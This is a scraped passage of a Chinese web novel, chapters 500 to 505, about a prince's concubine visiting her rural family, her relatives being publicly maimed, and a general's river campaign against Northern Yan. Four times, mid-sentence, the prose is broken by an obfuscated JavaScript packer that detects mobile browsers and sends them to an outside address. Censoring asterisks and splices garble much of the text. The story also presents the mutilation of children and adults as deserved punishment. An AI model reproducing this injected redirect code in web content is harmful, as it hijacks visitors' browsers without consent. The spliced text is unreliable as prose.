“在,夫人!” “把他们带出去,每人打断一条腿,以后恩怨两清。” “是!” 不等曹雄传话,王春生两人将他们拖了出去。 尤其是浣碧姥姥,口吐鲜血,模样很惨;他舅舅更是面目全非,动也不动一下。 来到院子口,王春生说道:“去传命令,叫全村集合,让所有人都看看,敢对夫人家动歪脑筋的,就是这个下场!” “是!” 第500章 去城里玩几天,就当见见世面 “娘别伤心了为这样的亲戚不值得。”浣碧劝慰着哭泣的母亲。 其实她心里也不好受。 如果大家都能和睦相处以浣碧的性格是不会让母亲这边的亲戚吃亏的 这不是找死是什么? 软弱如浣碧也真是受不了了。 浣碧说道:“爹以后这样的亲戚就不要来往了这次回去后女儿会多拿些贴己钱派人送来我们家该改善改善该吃肉吃肉这床垫子也得好好铺铺。” “花儿啊你不用给我们钱今年雨水不错看样子是个丰收年大乾现在又不怎么收农税这日子已经好很多了。你总是跟世子要钱时间长了世子会不愿意的。” “是啊闺女.呜呜呜.”阿幺擦了擦脸上的泪花“你还是乖乖在府里享福吧我和你爹会把日子过好的。” 浣碧摇摇头:“你们这个样子我根本放不下心还是听我的再说我的钱虽然是世子的但却不是世子给的是我的月钱。” “啊?闺女你给世子当小妾还有月钱可以领?”这简直把阿幺震惊住了。 李老三也是一副不理解的样子。 按理说能成为世子小妾就已经是祖上积德了还给钱?人家世子又不欠咱家的。 浣碧解释道:“不止是我家里的姐妹都有月钱可以拿世子说这是我们的零花钱让我们没事情多出去逛逛街走一走。” “世子还鼓励你上街!?” 李老三夫妻对视一眼感觉整个人都不好了。 大乾虽然不是很限制女子但男人对小妾的要求还是很高的但凡进了府的小妾有几个还能上街的?又不是正房夫人。 阿幺结结巴巴地问:“闺女那你的你你你月钱是多少啊?” “五十两。” “啊!?天呐这可是咱家二十亩地一年的收成啊!” 见父母为此震惊浣碧没有任何得意之色反而说道:“五十两算什么?张俪姐姐一个月有六千两银子的支配权呢。” “啥玩意?六千!?” 李老三这辈子都没见过那么多钱甚至连听都没听过。 阿幺就更不用说了她那张与年龄严重不符的苍老面容还挂着泪珠他紧忙拉着浣碧的手说:“闺女你还是别在家住了这么好的生活你可不能因为我们就弄丢了啊!” “是 啊闺女,男人都是喜新厌旧的,你趁现在年轻,得多往世子身边凑凑,就算人老珠黄了也不至于什么都没剩下。” “那世子现在对你怎么样啊?” “为何张俪的钱比你多那么多啊?” 夫妻俩一唱一和的。 浣碧有些头大:“哎呀,这些跟你们解释不清楚,不过世子已经给我放假了,我可以住几天再回去。再说.再说世子对我好着呢。” 见浣碧一副脸蛋通红的小女人样子,当父母的这才算是放下心。 也对,如果林臻对她不好,也不会特意派这么多人保护。 好啊,以后这个家有盼头了。 一家人其乐融融,李老三把茶碗递给浣碧。 后者接过来,看着一脸木讷的哥哥说道:“哥,你要不要去城里?世子说要给你找份工作,总比在家种地要好。” 李闯还没什么表示,但李闯老婆却满脸期望的样子。 这年头,谁进城谁就是上等人,没有人愿意一直在家里种地。 李闯想了想,说道:“还是不要了吧,眼看着爹娘要上了岁数,家里没人不行的。” 浣碧看到嫂子的脸有明显失落,笑道:“那不如嫂子和我回城里玩几天,过几天我再派人把你送回来。” “这”李闯的老婆名叫小卉,是个典型的村里丫头,早年也是因为穷,家里养**,就嫁给了同样贫穷的李闯。 她话不多,从进门到现在也没说一句话,此时她面带渴望地看了看自己丈夫。 李闯笑着摸了摸老婆的头:“那感情好,你嫂子自从跟了我,这些年也没享到什么福,净遭罪了,跟你去城里玩几天,就当见见世面。” 一句话说得媳妇眼泪巴扎的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15636439|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“当家的我.我还是不去了吧,在家陪你种地也是好的。” “没事的,去吧,现在地里活不多,我自己能应付,再说咱现在有钱了,可以雇人。” “雇人得分很多粮食呢,咱还是自己种。” “这”李闯有些为难。 他是希望媳妇能过上好日子的,但曾经的苦痛与经历让他们不敢有一丝一毫的放松和快乐。 李老三站起来,说道:“儿啊,你带着儿媳妇一起进城吧。你说得对,小卉自从进了咱家就没享过一天福,现在花儿有这个能耐,咱也没必要没苦硬吃,过几天轻松日子。地里的活儿你不用惦记,爹还不至于干不动活,再说要不然我也准备雇几个村民帮忙呢。” 李闯还是犹豫:“爹,真雇人啊?” “雇!现在虽然生活好了不少,但也仅仅是不挨饿,咱家发达了不能不管乡亲们,我就不信这时间所有人都和那帮犊子似的。” 那帮犊子自然就是浣碧姥姥家了。 李闯见父亲下定决心,也咬咬牙,说道:“好!那我们就跟着妹子一起进城,看看那风流之地!” “太好了!”浣碧拍手称快。 小卉更是情不自禁地捏住李闯的手臂。 让她公然搂抱丈夫,她自是不敢的。 浣碧说道:“哥,你带着嫂子侄子们,三天后我们就进城,到时候妹子带你玩遍京城!好好体验体验!” “嗯!” “哈哈哈哈,好!爹这就给你们做饭去,他娘啊,赶紧去杀鸡,我们一家子今天好好吃顿团圆饭。” “得嘞!!” 阿幺也跟着下地。 院子外面,王春生扯着脖子对周围一群**喊。 “乡亲们!今天把大家**在一起没有别的事儿!只是想告诉大伙,这户人家是世子的岳丈家,这群人胆敢冒犯王府权威,蔑视王权,理应处斩!但浣碧夫人心善,不忍杀掉亲朋,决定在这里砍掉他们一条腿,以儆效尤!乡亲们,看好了!” “行刑!” 第501章 初见大舅哥 平时只有城里人才能看到这样的场面。 慕容嫣刚刚与林臻交融的第二天 当然为了让百姓支持自己在行刑前总是要说些好听的比方说今天被**的官员**了多少钱做过哪些伤天害理的事情坑害过多少百姓是如何如何的**人怨最后再由受害者或者当事人站在行刑台上举证。 下面观看的百姓顿时群情激奋纷纷大骂贪官该死又扔烂菜叶又扔石头的。 这就是朝廷或者说是慕容嫣想看到的结果。 但其实百姓根本不知道真相是什么他们只是单纯见不得官员好而已。 这样的心理还不是仇富而是一种被管理者对上位者的厌恶。 只要有官员**不管真相是什么他们就很开心即便这个上位者并没有给他们造成什么伤害和困扰。 就像慕容嫣前几天下旨礼部员外郎卖官鬻爵****七十万两流放边疆。 百姓一片叫好声纷纷大喊陛下英明。 实则呢?这个礼部员外郎只是在朝堂上再次指出慕容嫣奢华无度惹得慕容嫣心烦而已。 欲加之罪何患无辞呢? 王春生不需要太多套路和华丽的辞藻给这些普通百姓按上****的罪名也不合适只是简单告诉他们这些人触怒了尊贵的浣碧夫人所以要打断一条腿。 这么做的目的是要给百姓起到震慑的作用让他们以后不敢欺负李老三一家。 “啊!!!” 大刀落下浣碧姥姥的左腿被齐刷刷切了下来。 不只是她还有她闺女、儿子以及还不懂事的两个几岁孩子全部被砍掉左腿。 剧烈的疼痛让他们瞬间清醒过来。 “啊!!” “救命啊!” “**啦!!” 百姓都吓坏了你看我我看你都不知道该怎么办才好。 王春生手里拿着烙红的铁掌说道:“大家看好这就是忤逆浣碧夫人的下场!!” 说完铁掌直接死死按在她的断腿处。 兹拉—— 烤肉的香气传来。 “啊!!!” 剧烈的疼痛让她再次疼晕过去村民们都吓傻了不自觉地往后退了几步。 “这老太太也太惨了。” “就是啊这到底是犯什么错误了不至于吧?” “你 们别乱说话,这群人冲撞的是世子夫人,只砍断一条腿就算开恩了。” “就算是世子也不能.” “闭嘴,你忘了当年小黑冲撞鲁国公夫人仪驾的时候了?那可是直接**的大罪!” “啊对,这只是砍一条腿,还行还行.” 屋内阿幺疼到惨叫声想出去看看,李老三把她拽住:“阿幺,算了,这是他们自找的。” “可是.可是”阿幺想说,可是,她是我母亲啊。 没人能管,甚至京兆尹都知道了这件事情,也没管。 在他看来,敢冲撞世子夫人就是十恶不赦的大罪,没**已经算是开恩了。于是乎不管浣碧家人怎么**,怎么告都无济于事。 以至于到后来**又被打了一顿,这才算是彻底消停。 浣碧回家这几天林臻也没闲着,快要春试了,朝廷现在各个部门都在为这场久违的考试做准备。 楚惜灵更是亲自出题,让报社的人疯狂印刷,她打算今年先招收一百名学生,等以后老师多了再说。 林臻忙的晕头转向,两天都没回家,今天刚回来就听说浣碧带着他哥哥回来了。 这可是大舅哥啊,得见见,争取在城里给他找个营生干。 现在林臻的妻妾中,就属浣碧家里人混得最惨,连青霞母亲老宗主都经营着一家胭脂铺子,生活不说有多好,但也要什么有什么。 可偏偏浣碧又从不张口要东西,搞得林臻心里还有些不舒服。 林安说浣碧是晚上回来的,就住在独属于她的别院,哥哥还带着两个孩子,在城里玩了一大天很是开心。 晚间,林臻拿着酒坛子,悠哉游哉地去向竹林,隔着很远就听到很多欢声笑语传来。 王府下人多,主子少,这样纯真的笑声很久都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15636440|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没听到过了,林臻不禁心中欢喜。 侯春上前去开门,突然见一男一女两个小家伙跑了出来,哥哥在前面跑,妹妹在后面追,叽叽喳喳的。 林臻蹲下身,一把将他们抱住,笑道:“哇哈哈哈,被我抓到了吧!” 言罢还露出一副要**的表情。 两个小家伙当即就吓傻了,哇的一声大叫:“啊!!” “哈哈哈哈。” “爹爹!爹爹救我!”哥哥大喊。 林臻却笑得十分开心。 很快,李闯从屋里走出来,见到一个陌生人抱着自己孩子,顿时一愣。 他不傻,知道这是王府没有人敢对他们怎么样,于是就问道:“你是.” “夫君!”李闯的话还没说完,浣碧就从门口开心地大喊。 林臻笑道对李闯说:“大舅哥,初次相见,幸会。” 李闯吓得都不知道说什么好了,浑身直哆嗦。 “不不不,小的..我.草民拜见世子。”结巴半天还是没说出来一句完整的话,最后还要给林臻下跪。 林臻赶紧把他拖住:“大舅哥,自己人就不用拜了,我们进屋去说。” 说完他拉起两个不知所措的孩子的小手,率先进屋。 浣碧转身去倒茶。 她早就习惯伺候林臻了。 李闯满脸惊恐地走进来,在浣碧身后说道:“花儿,他就是世子?” “对啊。” “天哪,你也不告诉我一声,刚才好险无礼。” “呵呵呵,没事的,世子又不是豺狼虎豹,相反世子是很好说话的呢。” 对你是很好说话,对别人呢? 李闯可是听说过,去年林臻在清河那边屠了很多人,至今还有波斯人彘放在城门口威震四方呢。 “花儿,我来吧,你去进屋陪着世子。” “不用的哥哥,你去屋里吧,世子又不会吃了你。” “这好吧。”李闯鼓起勇气,迈着沉重的步伐进屋。 好像下了莫大决心似的。 第502章 孩子进皇家书院 话说回来也对,一个全国顶级的人物突然要坐下和你聊天,你害不害怕? 不说害怕,但胆怯、腿软还是很正常的,毕竟两者之间的身份相差实在太远了。 李闯现在就是这种感觉。 在林臻面前,他是坐也不敢坐,站也不知道怎么站,双手在空中比划半天也不知道往哪放合适。 林臻掐了掐小女孩的脸,抬起头说道:“大舅哥,别站着了,坐。” “哎” 李闯战战兢兢地坐下。 宽大的椅子他就坐个边,一副随时准备站起来回话的感觉。 林臻说道:“家里一起都好吗?碧儿回来后也没和我说说。” “都好都好,家里有良田二十亩,吃喝不愁。” “嗯,虽然有田地,但是想把日子过好就不能光靠种地,有没有想过来城里谋个营生?” “回世子,像我们这样的庄稼人不懂生意,就会从土里刨食,这次进城来也是跟着夫人见见世面。” 林臻其实知道他家里什么情况。 这点事情是根本瞒不住的,几乎是当天就有护卫跑回城里告诉了林臻,浣碧家里发生的事情。 说实在的,王春生这事儿办得没毛病,如果他在现场,肯定会让曹雄把那些垃圾亲戚全宰了。 留着也是浪费粮食,创造不了GDP。 林臻从怀里掏出来两个金锁,两个小家伙一人一个戴上,笑道:“趁年轻,给孩子们攒下一份家业,这辈子也算没白活不是?我打算让你跟着商队走几年,历练历练,几年后肯定能担当大任。” “这” 说话间,浣碧进来送茶,跟着她一起进来的还有去收拾后院的李闯妻子,小卉。 她没见过林臻,但来的时候浣碧和她说过,进了门,她当即跪倒在地:“参见世子。” 林臻还不知道呢,李闯站起来介绍:“世子,这是贱内,小卉!” “原来是嫂夫人,快快请起。” 男女有别,林臻不能真的去扶,只是伸手虚托一下。 小卉起身,见林臻打量自己,便低下头去。 浣碧把茶盏放在茶几上,说道:“夫君,您这是打算给哥哥什么个差事?能不能把嫂嫂也带上,像他们说的那样,夫妻搭配,干活不累!” “我暂时也没想好,就先跟着商队去西域吧,历练几年,总能成长起来。再者说”林臻在浣碧脑袋上轻轻一敲,“那叫男女搭配,干活不累!” 还夫妻搭配。 老夫老妻有什么好搭配的? 要是身边放个年轻漂亮还温婉的姑娘,保证李闯干起活来劲劲儿的。 阿幺听说自己可以不用在家干农活,可以出去跑跑见见世面,当即有些兴奋。 李闯却犹豫道:“世子,小的知道您是好心帮衬,但是.我们都出去了孩子咋办,爹娘咋办嘛,人都说父母在,不远行,家里就我这一个儿子,我要是一走几年回不来,家里可怎么办啊唉。” 李闯又何尝不想出去看看? 好男儿志在四方,建功立业,衣锦还乡,这是很多男人的梦想。 可这样的梦想往往会被现实生活所拴住,从而没办法实现。 就像李闯似的,想离开家去拼一场,但是家里的父母又根本放心不下。 所以说,多子女家庭也有很多优点。 林臻见李闯是个厚道人,也是自己大舅哥,所以有心栽培,说道:“父母的事情你不用担心,我会派人关照,另外你这两个孩子也可以去皇家书院读书,一切用度都由我来负责。等你们历练得差不多了,孩子也就长大了,到时候再回城里干活,日子自然风生水起。” 李闯简直不敢相信自己的耳朵。 我家两个孩子也可以去皇家都书院里读书?读书不是上等人的专属吗? 我李闯何德何能啊? 浣碧一个劲儿地给李闯使眼色,又偷偷拉了拉阿幺的衣袖。 那意思就是,还不赶紧谢恩等什么呢?这可是咱家出人头地的最好机会啊! 浣碧虽然不在乎自己是否成功,但是她很爱她的家人。 见两人都被吓傻了,尬笑着说道:“额呵呵呵,夫君啊,那你准备让哥哥和嫂子跟哪个掌柜去?” 这意思就是替自己哥哥和嫂子答应下来了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15636441|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李闯这才反应过来,站起身噗通一下跪了下去:“世子!您的大恩大德,李闯无以为报,李闯愿意听世子差遣!” 阿幺也跪了下去。 林臻靠在椅子扶手上,笑道:“好,这才像个男子汉的样。你们休息几天,在城里好好玩玩,钱的问题不用担心。等你们准备好出发了,就跟着张俪的商队去西域,她会告诉你怎么做的。” “谢世子!” “嗯,那我就不打扰你们一家人团聚了,这就回去。” “夫君,妾身送您。”浣碧伸手虚扶着林臻,两人一前一后走了出去。 李闯还跪在地上,见林臻彻底离开,疯了似的跳起来,抱住自己老婆。 “哈哈哈 哈,阿幺,以后咱家发达了!!” 阿幺更是无比激动,被丈夫抱在怀里乐不可支。 林臻回到上官婉儿的院落,进了门就看到婉儿已经躺在床榻上了,手里捧着一卷书正映着烛火看,听到动静,她抬起眼眸,笑道:“夫君?您回来了。” 婉儿掀起被子要下来,林臻忙走过去。 “身子虚,别起来了。” 林臻坐在床边,给她掖好被子。 虽然已经入春,但是北方的夜晚还带着丝丝凉意。 婉儿说道:“夫君,家里最近有个事情,浣碧的哥哥和嫂子带着孩子来了,妾身做主把他们安排到了后面的小院里。” “我知道,我刚刚已经去看过了。” “他们一切可好?妾身没有招待不周吧?” “当然没有,我还让她哥哥以后跟着商队去西域呢,毕竟是自家亲戚,该照顾的就照顾一下。” 婉儿点头:“正是此理,本来妾身对浣碧的家里不甚了解,已经是失了主母责任,这下您也算帮了妾身。” “哪就有那么多规矩?” “当然要有!没有规矩不成方圆,尤其让我们这样的人家,更是守规矩懂礼仪。妾身正琢磨着派人去调查调查,看看家里这几个姐妹谁家有什么困难,我们也好出手相助。” “好,你看着办就行,不过现在该是你吃药的时间了。” 第503章 进入秦国 江流之上,林震仙披甲挂胄,头盔下那张精神抖擞的脸庞充斥着刚毅与兴奋。 雄鹰渴望蓝天,军人渴望战场。 对于这位打了一辈子仗的老人来讲,没有什么事情是比上战场更令他开心的了。 巨大的木舟,林震仙站在船头上,任由凉爽的春风扑面。 他摸了摸船舷,对身后的胖子说道:“小胖啊,你瞧瞧这大船,真好。我大乾什么时候也能有这样的高水平战船了,呵呵呵,臻儿这小子总是能给老夫惊喜。” 王胖子因为在家闲不住,也跟着林震仙打突袭。 但是他晕船,这两天气色很不好,听到林震仙的话连连摆手说:“林爷爷,我是真受不了这破船,晃来晃去的,这才几天功夫,我都瘦了一圈了。” “你那个体重就是瘦三圈也看不出来,再坚持一天,明天晚上我们就可以抵达太原,届时立刻北上,拿下定襄。” 胖子对打仗也有自己独特的一套见解:“林爷爷,要不我率一队骑兵偷袭五原怎么样?这样我们三路夹击,就不信北燕不亡!” “胡闹!”林震仙怒喝一声:“你以为北燕骑兵都是酒囊饭袋不成?我们这点骑兵去偷袭人家京城,还不够人家塞牙缝的呢。” “他们就是酒囊饭袋啊”胖子嘟囔一个。 林震仙说道:“北燕向来以骑兵制胜,这是他们的强项,上次你能打赢北燕重骑兵完全是运气好,否则你还有命在?少废话,这次绝不允许你单独行动,你若是敢胡来,军法处置!” “是。” 胖子虽然总是脑袋缺根弦,但他还不敢和林震仙叫板。 因为在军营里,林震仙就是绝对的权威,如果胖子真犯了什么不能原谅的事情,**是肯定的。不像林臻那样会念及情分。 二十艘大船徐徐过境,引得韩国民众驻足观看,都不知道这是要干什么,也不知道发生了什么,他们只是好奇,世界上为什么会有这么大的船,简直比他们的城墙还要高。 因为上官墨轩的孙女嫁给林震仙的孙子,所以秦国与乾国之间的关系非常微妙,大船在抵达秦国边境的时候,不出意外被秦国守军拦住。 他们也吓坏了,没见过这么大的船。 瞭望塔上,负责戒备的秦国士兵满脸震惊之色,对身后士兵命令道:“立刻拉起锁链,阻止他们进入,我去找大帅!” “是!” 这事儿太大,仅凭一个伍长是没办法做决定的,毕竟谁也不知道这些大船要去哪,会不会对秦国造 成威胁。 太原郡汾水河岸,一片军营伫立,伍长慌慌张张跑进最中间的大帐内。 内部几位将军以及大帅,还有位白发老人正相谈甚欢,伍长禀报道:“启禀大帅!河内有二十艘巨舟准备通过我国边境,已经被末将拦下,等候大帅发落。” 上官墨轩捋着胡子,笑道:“呵呵呵呵,老夫说什么来着?这位亲家可是个急性子,这才几天功夫,说来就来了。” “那以先生之意,我们是否该放行?”秦国镇国大将军秦文昌,坐在主位上问道。 “放行吧,他们的目标是北燕。去年北燕趁乾国南下与南楚交战的时候偷袭后方,这次估计是报仇的。” “先生,学生有一事不明。”秦文昌说道,“学生能看出来林震仙这次是想两面夹击北燕,但他哪来的把握确定可以成功呢?北燕重骑兵就算是我们也要避让三分,乾国兵马乘船而来,如何对抗?这不是自己送死吗?” “哈哈哈哈,文昌啊,为师不了解骑兵,但为师了解林震仙。这是个专门为战争而生的狂人,如果没有必胜的把握,他才不会劳师远征,从我们秦国境内过呢。你看着吧,这次北燕输定了。” 秦文昌明显有些不信。 他也算是身经百战的老将,即便如此在面对北燕重骑兵时也没有必胜的把握。就算林震仙是天神下凡,也不可能在重骑兵手里讨到什么便宜。 南边战事吃紧,那雁门关就更难攻破了,到时候乾国就只有一个下场。 那就是铩羽而归,说不定还要被北燕乘胜追击咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15636442|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上一口。 一向谋定而后动的林震仙,怎么会选择先打北燕呢. 上官墨轩说道:“文昌,别想了,我们猜不透林震仙的心思。” 秦文昌沉吟着说道:“先生,弟子是担心林震仙如果真的拿下北燕,那下一个目标.不就是我们秦国了吗?” 若是以前,秦文昌肯定不会担心乾国来犯。 且不说他们有没有那个实力,就算有,中间也隔着北燕、韩国,除非先把他们吞并,才能威胁到秦国。 可如今乾国先是把南楚打到割让江北所有地盘,现在又攻打北燕,一旦北燕国土沦为乾国国土,那秦国与乾国就成了邻国。 到时候.先打韩国还是先打秦国,可就不好说了。 上官墨轩也脸色难看,他想了想,说道:“文昌,依你之见,如果乾国开始入侵我大秦,我们有几分胜算?” “回先生,如果是林震仙挂帅,胜算恐怕不足三成。” “既然如此,我们还有什么好担心的?” “先生的意思是?” “打不过就投降呗,难道还要祸害我们大秦子民吗?如今乾国虽然是女子为帝,但文韬武略不输当年慕容乾,对百姓更是极好,律法森严。如果秦国这能被乾国吞并,为师觉得,这是一件好事情。以前在乾国的时候,为师经常听到一句话,说,这天下**的太久,百姓因战乱痛苦不堪,若能统一,我当身先士卒。” 秦文昌点点头,觉得这话虽然听起来不咬文嚼字,甚至有些通俗,但却带着一股简单而炽热的家国情怀,引人深思。 “先生,这话是谁说的?” “林臻,林震仙的孙子。” “就是娶您孙女的那位?” “对,此子绝非池中之物,他明面是皇帝的丈夫,实则是乾国的真正控制人,在他的一番改革下,乾国国力迅速恢复,远了不说,就是河内二十艘巨舟,就是他设计打造出来的。加之乾国现在年年收取南楚的岁贡,百姓日子过得非常好。而且你别忘了,这小子去年可是有五千破十万的战绩呢。” 第504章 去前线学习 上官墨轩不说,秦文昌都有些想不起来这个人。 毕竟林臻和林震仙比起来,出名太晚,名声也更小,可如今看来,确实最不容忽视的一个人。他能成为皇帝的丈夫,成为乾国的实际掌舵人,绝非泛泛之辈。 如果有可能,秦文昌真想见见他。 起码要向他学习下治国的经验。 上官墨轩叹了口气,继续说道:“唉,反观我们大秦,就已经被远远落在了后面。国力孱弱,百姓勉强糊口,年产铁器不足乾国半个月的量。朝中门阀林立,派系众多,卖官鬻爵,贪赃枉法数不胜数。偏偏陛下老迈昏聩,整日在后宫游戏女子,不理朝政。文昌,你觉得这样的国家,还有什么希望吗?” 秦文昌说道:“先生,虽然陛下年迈,但几位皇子都是兢兢业业准备大展身手的啊,如果皇位传给他们其中任何一人,秦国都有可能重现辉煌!” “呵。”上官墨轩的老脸惊现一道赤裸裸的冷笑,“就凭那几个皇子能救得了秦国吗?太子拉帮结派,二皇子、三皇子、四皇子包括几位小皇子,都琢磨怎么才能干掉太子自己继位。对江山社稷不思进取,只想当皇帝,这样的人就算当上皇帝也是枉然,根本救不了秦国。” “那老师是什么意见?” “和乾国合并。” “这......”这样的结果让一向有着爱国情怀的秦文昌很难接受。 即便他知道自己打不过林震仙,秦国也打不过乾国。 上官墨轩继续说道:“文昌啊,我们不能总是在书本上去看百姓的生活,你要亲自下到乡村,去到田野里,看看百姓真实的一面。如果你真的去看了你就会知道,那些世家大族正在想办法吞并百姓的土地,民间卖儿卖女已稀松平常,去年旱灾光是陈仓一郡就饿死二十万人,百姓食不果腹,易子而食。呵,这样的国家,老夫不看好。你最好也不要相信拉拢你的那些世家。” “多谢先生指点,学生受教了。” “嗯,这次我们是借道给林震仙,就看他们能不能拿下北燕,如果能,我建议秦国投降。如果不能,我们再静观其变吧,你也去准备准备。为师琢磨着,这将会是一次载入史册的战争,你最好能亲临前线去学学,对你将来的指挥肯定大有裨益。” “学生明白。” ....... 甲板上,林震仙正在喝茶,春天的日头不毒,正好可以晒晒筋骨。 胖子是不喜欢喝茶的,这么优雅的东西倒进他嘴里简直是浪费,于是便远远走开找事情去做了。 林大拿腰挂佩刀,虎虎生风地走来,手里拿着一张书信。 “王爷,有家里的飞鸽传书。” “唔。”林震仙伸手接过来,检查完火漆便拆开来看,看后哈哈大笑,“哈哈哈哈哈,好!晴雯这丫头到底给老夫生了个重孙子!好啊,哈哈哈哈,等老夫回去必须要向陛下给她要个诰命的身份!而且还得是一品!” “王爷?咱林家有后了?” “嗯。”林震仙满意地捋着胡子,笑不拢口,“哈哈哈哈,不仅晴雯生了,青霞那丫头也快到临盆期,宁妃娘娘更是被接回家里调养,而且那个不声不响的月妩竟然也有了身孕。好啊好啊,苍天有眼,林家终于开枝散叶了。” “末将恭喜王爷!” “嗯。”林震仙把林臻的舒心小心翼翼地揣进怀里,说道:“这船怎么还没动静?立刻去问问,老上官到底干什么吃的,不会连自己学生都搞不定吧?” “报!!” 传令兵大喝一声跑过来,单膝跪地,“启禀王爷,秦国镇国大将军秦文昌在船下求见。” “哦?这臭小子要干什么?”林震仙喃喃两句,随即想想也不可能是什么大事儿,于是说道,“让他过来。” “是。” 很快秦文昌带着两名亲卫,卸掉佩剑而来。 他很客气,对坐在茶几前面的晒太阳的林震仙抱拳行礼,“秦文昌,见过王爷。” “文昌啊,松原一别,三十年过去了,今日上船,可有事情?” 三十年前,林震仙与秦国联手一起对抗韩国,两人算是有几面之缘。 秦文昌抬起头笑道:“没什么事情,就是想王爷了,特来拜见。” “呵呵呵,你这小子,无事不登三宝殿。说吧,到底有什么事情,老夫急着赶路没时间陪你叙旧。” “实不相瞒,文昌想跟王爷一起去前线,作为学生,观摩学习。” “哦?学成之后也像北燕似的准备偷袭我大乾?”林震仙定睛看着他。 看得秦文昌很不好意思。 “不不不,王爷是华夏战神,文昌哪敢欺骗王爷。” “呵呵呵呵,你小子这么些年可是进步神速啊,这次来观摩估计也是上官那老家伙提醒你的吧?也罢,你就住下,看老夫如何拿这群北燕的野蛮人开刀!” 说完林震仙站起来,拍了拍秦文昌的铠甲。 “不过你要记住,学习可以,但是不能外传。否则老夫第一个弄死你。” “额...王爷放心。” 向林震仙这种从尸山血海中淌过几个来回的人,所释放出来的压迫感绝非一般人可以抵抗。 强如秦文昌,也不得不后退一步,冷汗直冒。 这一刻,他更不敢有和林震仙对战的念头了。 随着秦文昌的命令,河上的铁链被放下,船队继续前进。 而林震仙则是回到船舱里,召集手下几名先锋大将,商量着如何攻破定襄。 “王爷,这次我们带的人很少,恐怕不能强行攻城。” “是啊王爷,定襄城高且坚,虽然守军不多,但想靠我们这几千人就攻进去,恐怕不容易啊。” “您是不是有什么好办法了?” 林震仙指着定襄城微微一笑,“呵呵呵呵,明远,如果你是定襄守军,发现一群不怕死的乾国人在你城楼下叫嚣,而且没有骑兵,人数稀少,你会怎么做?” 何明远当即眼睛一亮:“我会下命令用骑兵突袭,好立下大功向朝廷禀报。” “没错!” 第505章 一雪前耻 北燕是以军功为最高荣誉,而且这个国家很奇怪。 他们只接受胜利而不接受失败,也就是说,如果一个将军私自带兵去攻打某个国家,一般情况下朝廷是不会管的,朝廷在乎的是你胜利与否。 如果打赢了,朝廷很高兴,会按照正常战时荣誉来给带队的将军颁发奖励,可如果打失败了...干脆就别回去了,回去也是死。 之前北燕将军自私帮助顾云松,就是这个道理。 林震仙就是知道他们这个德行,所以他笃定,当守城的将士看到成楼下一群不怕死的大乾士兵叫嚣,一定会派骑兵出城迎战。 到时候,他就可以祭出大杀器。 八牛弩。 这种经过林臻改良过的八牛弩让林震仙爱不释手,上次打南楚的时候也带上了。但因为南楚多战船少战马,不存在大规模骑兵,所以并没有派上用场。 这次,他非得好好杀一番不可。 何明远指着地图,说道:“王爷,我们这次是孤军深入,您看是不是应该先和韩国那边打个招呼,别到时候这群棒子倒戈帮助北燕,对我们进行反包围。” “不会的。”林震仙说道,“韩国本身没有帅才,再者我们和他们的贸易正进行得如火如荼,他们不会突然进攻。” 胖子说道:“王爷说得对,韩天鸿那个老皇帝自从被秦国打得丧失信心后,就不敢再主动挑起事端了。” “可末将还是担心,毕竟煊赫门现在与世子闹得不可开交,一旦他们撺掇韩天鸿,从背后插我们一刀......这前有狼有有虎,我们这点兵力恐怕坚持不了几天。” “唔...”林震仙也知道煊赫门和林臻的过节。 带兵打仗不是请客吃饭,不能马虎,不能大意,更不能放松警惕。 但眼下这种情况分兵守后方又不太可能,怎么办呢。 林震仙看向胖子:“小胖,本王命你带两百人守住成华大道!时时刻刻盯着韩国方向的动静,不得有误!” “啊!??”胖子一张嘴长得老大,“林爷爷...” “嗯?放肆,军队要称呼职务!” “大帅!您不能这样下命令啊,末将答应您,保证第一个冲上定襄城楼!” “少废话,军中大事岂有你讨价还价的份儿?”林震仙的虎威谁也不敢触怒。 但胖子是什么人?你让他去守后方,都不如让狗去。 他怎么可能稳稳当当地呆在后面呢。 林震仙下了命令后就不再看他,可见是下了决心的。 